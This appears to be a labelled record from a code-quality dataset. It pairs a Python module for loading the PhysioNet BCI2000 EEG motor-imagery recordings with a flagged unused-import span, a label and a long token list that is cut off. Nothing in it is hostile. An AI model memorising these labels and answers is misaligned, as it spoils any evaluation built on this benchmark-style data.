"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "svd", "\\u", "impl_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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.io\nfrom shared import Recording, data_source\n\n__all__ = ['load', 'subjects', 'sessions']\n\nsessions = range(1, 110)\nsubjects = sessions # Legacy name, since sessions is more accurate.\n\nLICENSE = '''This dataset was created and contributed to PhysioNet by\nthe developers of the BCI2000 instrumentation system, which they used\nin making these recordings. The system is described in:\n\n[1] Schalk, G., McFarland, D.J., Hinterberger, T., Birbaumer, N.,\n Wolpaw, J.R. BCI2000: A General-Purpose Brain-Computer Interface\n (BCI) System. IEEE Transactions on Biomedical Engineering\n 51(6):1034-1043, 2004. [In 2008, this paper received the Best\n Paper Award from IEEE TBME.]\n\nPlease cite this publication and www.bci2000.org when referencing this\nmaterial, and also include the standard citation for PhysioNet:\n\n[2] Goldberger AL, Amaral LAN, Glass L, Hausdorff JM, Ivanov PCh, Mark RG,\n Mietus JE, Moody GB, Peng C-K, Stanley HE. PhysioBank,\n PhysioToolkit, and PhysioNet: Components of a New Research\n Resource for Complex Physiologic Signals. Circulation\n 101(23):e215-e220 [Circulation Electronic Pages;\n http://circ.ahajournals.org/cgi/content/full/101/23/e215]; 2000\n (June 13).\n'''\n\nURL_TEMPLATE = 'http://www.physionet.org/pn4/eegmmidb/'\\\n 'S%(subject)03d/S%(subject)03dR%(run)02d.edf'\n\nEVENTS = [\n (0, 'relax'),\n (1, 'baseline eyes open'),\n (2, 'baseline eyes closed'),\n (3, 'move left hand'),\n (4, 'move right hand'),\n (5, 'imagine move left hand'), \n (6, 'imagine move right hand'),\n (7, 'move left right hand'), \n (8, 'move feet'),\n (9, 'imagine move left right hand'), \n (10, 'imagine move feet'),\n ]\n\n# Translate EDF+ events to our events based on task\nB1 = dict(T0=1)\nB2 = dict(T0=2)\nT1 = dict(T0=0, T1=3, T2=4)\nT2 = dict(T0=0, T1=5, T2=6)\nT3 = dict(T0=0, T1=7, T2=8)\nT4 = dict(T0=0, T1=9, T2=10)\nTASKS = [B1, B2] + [T1, T2, T3, T4] * 3\n\n# Clean labels to lookup\n# TODO: replace with labels in EEGtools when ready.\nKNOWN_LABS = 'FC5 FC3 FC1 FCz FC2 FC4 FC6 C5 C3 C1 Cz C2 C4 C6 CP5 CP3 CP1 CPz\\\n CP2 CP4 CP6 Fp1 Fpz Fp2 AF7 AF3 AFz AF4 AF8 F7 F5 F3 F1 Fz F2 F4 F6 F8 FT7\\\n FT8 T7 T8 T9 T10 TP7 TP8 P7 P5 P3 P1 Pz P2 P4 P6 P8 PO7 PO3 POz PO4 PO8 O1\\\n Oz O2 Iz'.split()\n\nlog = logging.getLogger(__name__)\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def gen_urls(subject, url_template=URL_TEMPLATE):\n '''Return EDF+ URLs for a given subject and template'''\n runs = np.arange(14) + 1\n return [url_template % dict(subject=subject, run=run) \n for run in runs], runs", "metadata": "root.gen_urls", "header": "['module', '___EOS___']", "index": 69 }, { "content": "def load_schalk_run(edf, run):\n '''Read an EDF+ file corresponding to a run, and return a proper dataset.'''\n task_dic = TASKS[run - 1]\n log.debug('Processing run %d, with dictionary %s' % (run, task_dic))\n d = eegtools.io.load_edf(edf)\n\n fs, events = d.sample_rate, []\n for (start, duration, texts) in d.annotations:\n for label in texts:\n events.append(\n (task_dic[str(label)], start * fs, (start + duration) * fs))\n return d, np.asarray(events, int).T.reshape(3, -1)", "metadata": "root.load_schalk_run", "header": "['module', '___EOS___']", "index": 76 }, { "content": "def clean_chan_lab(feat_lab):\n '''Replace channel labels with matching, correctly capitalized labels.'''\n lookup = dict((l.lower(), l) for l in KNOWN_LABS)\n return [lookup[l.strip('.').lower()] for l in feat_lab]", "metadata": "root.clean_chan_lab", "header": "['module', '___EOS___']", "index": 90 }, { "content": "def concatenate_events(events, block_lens):\n '''Concatenate events indexing different runs.'''\n def shift_events(events, offset):\n events = events.copy()\n events[1:] += offset\n return events\n\n offset = np.cumsum([0] + block_lens[:-1])\n return np.hstack([shift_events(be, o) for (be, o) in zip(events, offset)])", "metadata": "root.concatenate_events", "header": "['module', '___EOS___']", "index": 96 }, { "content": "def block_dt(n, sample_rate):\n '''Generate dt array for a given length and sample_rate.'''\n dt = np.ones(n) * 1./sample_rate\n dt[0] = np.nan\n return dt", "metadata": "root.block_dt", "header": "['module', '___EOS___']", "index": 107 }, { "content": "def load(subject, ds=data_source(), url_template=URL_TEMPLATE):\n '''Each subject performed 14 experimental runs: two one-minute\n baseline runs (one with eyes open, one with eyes closed), and three\n two-minute runs of each of the four following tasks:\n\n 1) A target appears on either the left or the right side of the\n screen. The subject OPENS AND CLOSES THE CORRESPONDING FIST until\n the target disappears. Then the subject relaxes.\n\n 2) A target appears on either the left or the right side of the\n screen. The subject IMAGINES OPENING AND CLOSING THE CORRESPONDING\n FIST until the target disappears. Then the subject relaxes.\n\n 3) A target appears on either the top or the bottom of the screen.\n The subject OPENS AND CLOSES EITHER BOTH FISTS (if the target is on\n top) or BOTH FEET (if the target is on the bottom) until the target\n disappears. Then the subject relaxes.\n\n 4) A target appears on either the top or the bottom of the screen.\n The subject IMAGINES OPENING AND CLOSING EITHER BOTH FISTS (if the\n target is on top) OR BOTH FEET (if the target is on the bottom)\n until the target disappears. Then the subject relaxes.\n\n The EDF+ file contains the duration of each event, however it seems\n to be slightly variable. Based on the first subjects, it seems that\n between each task there is a resting task, and both the active task\n and resting task take about 4.15 +- .1 seconds.\n\n The file headers for one subject all contain the same start\n timestamp, so we cannot estimate the time between runs. \n '''\n urls, runs = gen_urls(subject, url_template)\n log.debug('Generated URLs: %s.' % (urls,))\n \n # Load runs for this subject:\n rec = [load_schalk_run(ds.open(u), r) for (u, r) in zip(urls, runs)]\n runs, events = zip(*rec)\n\n # Combine information from different runs:\n X = np.hstack([r.X.astype(np.float32) for r in runs])\n dt = np.hstack([block_dt(r.X.shape[1], r.sample_rate) for r in runs])[1:]\n chan_lab = clean_chan_lab(runs[0].chan_lab)\n folds = np.hstack([\n np.ones(e.shape[1], int) * i for (i, e) in enumerate(events)])\n E = concatenate_events(events, [r.X.shape[1] for r in runs])\n\n\n return Recording(X=X, dt=dt, chan_lab=chan_lab, events=E, folds=folds, \n event_lab=EVENTS, rec_id='schalk-physiobank-s%d' % subject, \n license=LICENSE)", "metadata": "root.load", "header": "['module', '___EOS___']", "index": 114 } ]
[ { "span": "import operator, re, logging, os.path", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 37 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "operator_", ",_", "re_", ",_", "logging_", ",_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "ee", "gto", "ols_", "._", "io_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "shared_", "import_", "Record", "ing_", ",_", "data\\u", "source_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "=_", "[_", "'", "load", "'_", ",_", "'", "subject", "s", "'_", ",_", "'", "session", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "sessions_", "=_", "range_", "(_", "1_", ",_", "110_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subjects_", "=_", "sessions_", "#", " ", "Leg", "ac", "y", " ", "name", ",", " ", "sinc", "e", " ", "session", "s", " ", "is", " ", "more", " ", "accurate", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "LICENSE", "_", "=_", "'''", "Thi", "s", " ", "dataset", " ", "was", " ", "created", " ", "and", " ", "contribute", "d", " ", "to", " ", "Phys", "io", "Net", " ", "by", "\\", "10", ";", "the", " ", "developer", "s", " ", "of", " ", "the", " ", "BC", "I2", "000", " ", "instrument", "ation", " ", "system", ",", " ", "whi", "ch", " ", "the", "y", " ", "used", "\\", "10", ";", "in", " ", "mak", "ing", " ", "these", " ", "recordings", ".", " ", "The", " ", "system", " ", "is", " ", "descri", "bed", " ", "in", ":", "\\", "10", ";", "\\", "10", ";", "[", "1", "]", " ", "Sch", "alk", ",", " ", "G", ".,", " ", "Mc", "Far", "land", ",", " ", "D", ".", "J", ".,", " ", "Hint", "erb", "erge", "r", ",", " ", "T", ".,", " ", "Bir", "ba", "ume", "r", ",", " ", "N", ".,", "\\", "10", ";", " ", " ", " ", " ", "Wo", "lpa", "w", ",", " ", "J", ".", "R", ".", " ", "BC", "I2", "000", ":", " ", "A", " ", "General", "-", "Pur", "pose", " ", "Brain", "-", "Compute", "r", " ", "Interface", "\\", "10", ";", " ", " ", " ", " ", "(", "BC", "I", ")", " ", "System", ".", " ", "IE", "EE", " ", "Transactions", " ", "on", " ", "Bio", "medical", " ", "Engine", "erin", "g", "\\", "10", ";", " ", " ", " ", " ", "5", "1", "(", "6", "):", "103", "4", "-1", "043", ",", " ", "2004", ".", " ", "[", "In", " ", "2008", ",", " ", "this", " ", "pape", "r", " ", "receive", "d", " ", "the", " ", "Bes", "t", "\\", "10", ";", " ", " ", " ", " ", "Pap", "er", " ", "Award", " ", "from", " ", "IE", "EE", " ", "TB", "ME", ".]", "\\", "10", ";", "\\", "10", ";", "Ple", "ase", " ", "cite", " ", "this", " ", "publicat", "ion", " ", "and", " ", "www", ".", "bc", "i2", "000", ".", "org", " ", "whe", "n", " ", "referenci", "ng", " ", "this", "\\", "10", ";", "material", ",", " ", "and", " ", "als", "o", " ", "include", " ", "the", " ", "standard", " ", "cit", "ation", " ", "for", " ", "Phys", "io", "Net", ":", "\\", "10", ";", "\\", "10", ";", "[", "2", "]", " ", "Gold", "ber", "ger", " ", "AL", ",", " ", "Ama", "ral", " ", "LAN", ",", " ", "Gla", "ss", " ", "L", ",", " ", "Ha", "usd", "orf", "f", " ", "JM", ",", " ", "Iv", "ano", "v", " ", "PC", "h", ",", " ", "Mark", " ", "RG", ",", "\\", "10", ";", " ", " ", " ", " ", "Mi", "etu", "s", " ", "JE", ",", " ", "Moo", "dy", " ", "GB", ",", " ", "Pen", "g", " ", "C", "-", "K", ",", " ", "Stan", "ley", " ", "HE", ".", " ", "Phys", "io", "Bank", ",", "\\", "10", ";", " ", " ", " ", " ", "Phys", "io", "Tool", "kit", ",", " ", "and", " ", "Phys", "io", "Net", ":", " ", "Compo", "nent", "s", " ", "of", " ", "a", " ", "New", " ", "Rese", "arch", "\\", "10", ";", " ", " ", " ", " ", "Reso", "urc", "e", " ", "for", " ", "Comple", "x", " ", "Phys", "io", "logic", " ", "Signal", "s", ".", " ", "Circ", "ulation", "\\", "10", ";", " ", " ", " ", " ", "101", "(", "23", "):", "e2", "15", "-", "e2", "20", " ", "[", "Circ", "ulation", " ", "Electronic", " ", "Page", "s", ";", "\\", "10", ";", " ", " ", " ", " ", "http", "://", "circ", ".", "aha", "journal", "s", ".", "org", "/", "cgi", "/", "content", "/", "full", "/", "101", "/", "23", "/", "e2", "15", "];", " ", "2000", "\\", "10", ";", " ", " ", " ", " ", "(", "Jun", "e", " ", "13", ").", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "URL", "\\u", "TEMPLATE_", "=_", "'", "http", "://", "www", ".", "physi", "onet", ".", "org", "/", "pn", "4", "/", "ee", "gmm", "idb", "/'_", "'", "S", "%", "(", "subject", ")", "03", "d", "/", "S", "%", "(", "subject", ")", "03", "d", "R", "%", "(", "run", ")", "02", "d", ".", "edf", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "EVENTS", "_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "0_", ",_", "'", "relax", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "1_", ",_", "'", "baseline", " ", "eyes", " ", "open", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "2_", ",_", "'", "baseline", " ", "eyes", " ", "close", "d", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "3_", ",_", "'", "move", " ", "left", " ", "hand", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "4_", ",_", "'", "move", " ", "right", " ", "hand", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "5_", ",_", "'", "imagin", "e", " ", "move", " ", "left", " ", "hand", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "6_", ",_", "'", "imagin", "e", " ", "move", " ", "right", " ", "hand", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "7_", ",_", "'", "move", " ", "left", " ", "right", " ", "hand", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "8_", ",_", "'", "move", " ", "feet", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "9_", ",_", "'", "imagin", "e", " ", "move", " ", "left", " ", "right", " ", "hand", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "10_", ",_", "'", "imagin", "e", " ", "move", " ", "feet", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Translate", " ", "ED", "F", "+", " ", "events", " ", "to", " ", "our", " ", "events", " ", "based", " ", "on", " ", "task_", "\\u\\u\\uNL\\u\\u\\u_", "B1_", "=_", "dict_", "(_", "T0_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "B2_", "=_", "dict_", "(_", "T0_", "=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T1_", "=_", "dict_", "(_", "T0_", "=_", "0_", ",_", "T1_", "=_", "3_", ",_", "T2_", "=_", "4_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T2_", "=_", "dict_", "(_", "T0_", "=_", "0_", ",_", "T1_", "=_", "5_", ",_", "T2_", "=_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T3", "_", "=_", "dict_", "(_", "T0_", "=_", "0_", ",_", "T1_", "=_", "7_", ",_", "T2_", "=_", "8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "T", "4_", "=_", "dict_", "(_", "T0_", "=_", "0_", ",_", "T1_", "=_", "9_", ",_", "T2_", "=_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TASK", "S_", "=_", "[_", "B1_", ",_", "B2_", "]_", "+_", "[_", "T1_", ",_", "T2_", ",_", "T3", "_", ",_", "T", "4_", "]_", "*_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Clean", " ", "labels", " ", "to", " ", "lookup_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "TOD", "O", ":", " ", "replace", " ", "with", " ", "labels", " ", "in", " ", "EE", "Gt", "ool", "s", " ", "whe", "n", " ", "read", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "KNOWN", "\\u", "LAB", "S_", "=_", "'", "FC", "5", " ", "FC", "3", " ", "FC", "1", " ", "FC", "z", " ", "FC", "2", " ", "FC", "4", " ", "FC", "6", " ", "C5", " ", "C3", " ", "C1", " ", "Cz", " ", "C2", " ", "C4", " ", "C6", " ", "CP", "5", " ", "CP", "3", " ", "CP", "1", " ", "CP", "z", "\\\\", "\\", "10", ";", " ", " ", "CP", "2", " ", "CP", "4", " ", "CP", "6", " ", "Fp", "1", " ", "Fp", "z", " ", "Fp", "2", " ", "AF", "7", " ", "AF", "3", " ", "AF", "z", " ", "AF", "4", " ", "AF", "8", " ", "F", "7", " ", "F5", " ", "F3", " ", "F1", " ", "F", "z", " ", "F2", " ", "F4", " ", "F6", " ", "F8", " ", "FT", "7", "\\\\", "\\", "10", ";", " ", " ", "FT", "8", " ", "T", "7", " ", "T", "8", " ", "T", "9", " ", "T1", "0", " ", "TP", "7", " ", "TP", "8", " ", "P", "7", " ", "P", "5", " ", "P3", " ", "P1", " ", "P", "z", " ", "P2", " ", "P4", " ", "P", "6", " ", "P", "8", " ", "PO", "7", " ", "PO", "3", " ", "PO", "z", " ", "PO", "4", " ", "PO", "8", " ", "O1", "\\\\", "\\", "10", ";", " ", " ", "Oz", " ", "O", "2", " ", "Iz", "'_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "\\u\\u", "name\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "gen", "\\u", "urls_", "(_", "subject_", ",_", "url", "\\u", "template_", "=_", "URL", "\\u", "TEMPLATE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Return", " ", "ED", "F", "+", " ", "URL", "s", " ", "for", " ", "a", " ", "give", "n", " ", "subject", " ", "and", " ", "template", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "runs_", "=_", "np_", "._", "arange_", "(_", "14_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "url", "\\u", "template_", "%_", "dict_", "(_", "subject_", "=_", "subject_", ",_", "run_", "=_", "run_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "run_", "in_", "runs_", "]_", ",_", "runs_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load", "\\u", "scha", "lk", "\\u", "run_", "(_", "edf", "_", ",_", "run_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Read", " ", "an", " ", "ED", "F", "+", " ", "file", " ", "correspond", "ing", " ", "to", " ", "a", " ", "run", ",", " ", "and", " ", "return", " ", "a", " ", "proper", " ", "dataset", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "task", "\\u", "dic_", "=_", "TASK", "S_", "[_", "run_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "debug_", "(_", "'", "Process", "ing", " ", "run", " ", "%", "d", ",", " ", "with", " ", "dictionar", "y", " ", "%", "s", "'_", "%_", "(_", "run_", ",_", "task", "\\u", "dic_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "ee", "gto", "ols_", "._", "io_", "._", "load", "\\u", "edf", "_", "(_", "edf", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fs_", ",_", "events_", "=_", "d_", "._", "sample", "\\u", "rate_", ",_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "(_", "start_", ",_", "duration_", ",_", "texts_", ")_", "in_", "d_", "._", "annotations_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "label_", "in_", "texts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "._", "append_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "task", "\\u", "dic_", "[_", "str_", "(_", "label_", ")_", "]_", ",_", "start_", "*_", "fs_", ",_", "(_", "start_", "+_", "duration_", ")_", "*_", "fs_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "d_", ",_", "np_", "._", "asarray_", "(_", "events_", ",_", "int_", ")_", "._", "T_", "._", "reshape_", "(_", "3_", ",_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "clean", "\\u", "chan", "\\u", "lab_", "(_", "feat", "\\u", "lab_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Replace", " ", "channel", " ", "labels", " ", "with", " ", "matchi", "ng", ",", " ", "correct", "ly", " ", "capitaliz", "ed", " ", "labels", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lookup_", "=_", "dict_", "(_", "(_", "l_", "._", "lower_", "(_", ")_", ",_", "l_", ")_", "for_", "l_", "in_", "KNOWN", "\\u", "LAB", "S_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "[_", "lookup_", "[_", "l_", "._", "strip_", "(_", "'.'_", ")_", "._", "lower_", "(_", ")_", "]_", "for_", "l_", "in_", "feat", "\\u", "lab_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "concatenate", "\\u", "events_", "(_", "events_", ",_", "block", "\\u", "lens_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Concat", "enat", "e", " ", "events", " ", "indexing", " ", "different", " ", "runs", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "shift", "\\u", "events_", "(_", "events_", ",_", "offset_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "events_", "=_", "events_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "events_", "[_", "1_", ":_", "]_", "+=_", "offset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "events_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "offset_", "=_", "np_", "._", "cumsum_", "(_", "[_", "0_", "]_", "+_", "block", "\\u", "lens_", "[_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "np_", "._", "hstack_", "(_", "[_", "shift", "\\u", "events_", "(_", "be_", ",_", "o_", ")_", "for_", "(_", "be_", ",_", "o_", ")_", "in_", "zip_", "(_", "events_", ",_", "offset_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "block", "\\u", "dt_", "(_", "n_", ",_", "sample", "\\u", "rate_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Generate", " ", "dt", " ", "array", " ", "for", " ", "a", " ", "give", "n", " ", "length", " ", "and", " ", "sample", "\\u", "rate", ".'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dt_", "=_", "np_", "._", "ones_", "(_", "n_", ")_", "*_", "1._", "/_", "sample", "\\u", "rate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dt_", "[_", "0_", "]_", "=_", "np_", "._", "nan_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "dt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "load_", "(_", "subject_", ",_", "ds_", "=_", "data\\u", "source_", "(_", ")_", ",_", "url", "\\u", "template_", "=_", "URL", "\\u", "TEMPLATE_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "Ea", "ch", " ", "subject", " ", "perform", "ed", " ", "14", " ", "experimental", " ", "runs", ":", " ", "two", " ", "one", "-", "minute", "\\", "10", ";", " ", " ", "baseline", " ", "runs", " ", "(", "one", " ", "with", " ", "eyes", " ", "open", ",", " ", "one", " ", "with", " ", "eyes", " ", "close", "d", "),", " ", "and", " ", "three", "\\", "10", ";", " ", " ", "two", "-", "minute", " ", "runs", " ", "of", " ", "each", " ", "of", " ", "the", " ", "four", " ", "follow", "ing", " ", "task", "s", ":", "\\", "10", ";", "\\", "10", ";", " ", " ", "1", ")", " ", "A", " ", "target", " ", "appear", "s", " ", "on", " ", "eit", "her", " ", "the", " ", "left", " ", "or", " ", "the", " ", "right", " ", "side", " ", "of", " ", "the", "\\", "10", ";", " ", " ", "screen", ".", " ", "The", " ", "subject", " ", "OPENS", " ", "AND", " ", "CLOSE", "S", " ", "THE", " ", "CORR", "ESP", "ON", "DING", " ", "FIS", "T", " ", "unti", "l", "\\", "10", ";", " ", " ", "the", " ", "target", " ", "disapp", "ear", "s", ".", " ", "The", "n", " ", "the", " ", "subject", " ", "relax", "es", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "2", ")", " ", "A", " ", "target", " ", "appear", "s", " ", "on", " ", "eit", "her", " ", "the", " ", "left", " ", "or", " ", "the", " ", "right", " ", "side", " ", "of", " ", "the", "\\", "10", ";", " ", " ", "screen", ".", " ", "The", " ", "subject", " ", "IMA", "GIN", "ES", " ", "OPEN", "ING", " ", "AND", " ", "CLO", "SIN", "G", " ", "THE", " ", "CORR", "ESP", "ON", "DING", "\\", "10", ";", " ", " ", "FIS", "T", " ", "unti", "l", " ", "the", " ", "target", " ", "disapp", "ear", "s", ".", " ", "The", "n", " ", "the", " ", "subject", " ", "relax", "es", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "3", ")", " ", "A", " ", "target", " ", "appear", "s", " ", "on", " ", "eit", "her", " ", "the", " ", "top", " ", "or", " ", "the", " ", "bottom", " ", "of", " ", "the", " ", "screen", ".", "\\", "10", ";", " ", " ", "The", " ", "subject", " ", "OPENS", " ", "AND", " ", "CLOSE", "S", " ", "EI", "THER", " ", "BOT", "H", " ", "FIS", "TS", " ", "(", "if", " ", "the", " ", "target", " ", "is", " ", "on", "\\", "10", ";", " ", " ", "top", ")", " ", "or", " ", "BOT", "H", " ", "FE", "ET", " ", "(", "if", " ", "the", " ", "target", " ", "is", " ", "on", " ", "the", " ", "bottom", ")", " ", "unti", "l", " ", "the", " ", "target", "\\", "10", ";", " ", " ", "disapp", "ear", "s", ".", " ", "The", "n", " ", "the", " ", "subject", " ", "relax", "es", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "4", ")", " ", "A", " ", "target", " ", "appear", "s", " ", "on", " ", "eit", "her", " ", "the", " ", "top", " ", "or", " ", "the", " ", "bottom", " ", "of", " ", "the", " ", "screen", ".", "\\", "10", ";", " ", " ", "The", " ", "subject", " ", "IMA", "GIN", "ES", " ", "OPEN", "ING", " ", "AND", " ", "CLO", "SIN", "G", " ", "EI", "THER", " ", "BOT", "H", " ", "FIS", "TS", " ", "(", "if", " ", "the", "\\", "10", ";", " ", " ", "target", " ", "is", " ", "on", " ", "top", ")", " ", "OR", " ", "BOT", "H", " ", "FE", "ET", " ", "(", "if", " ", "the", 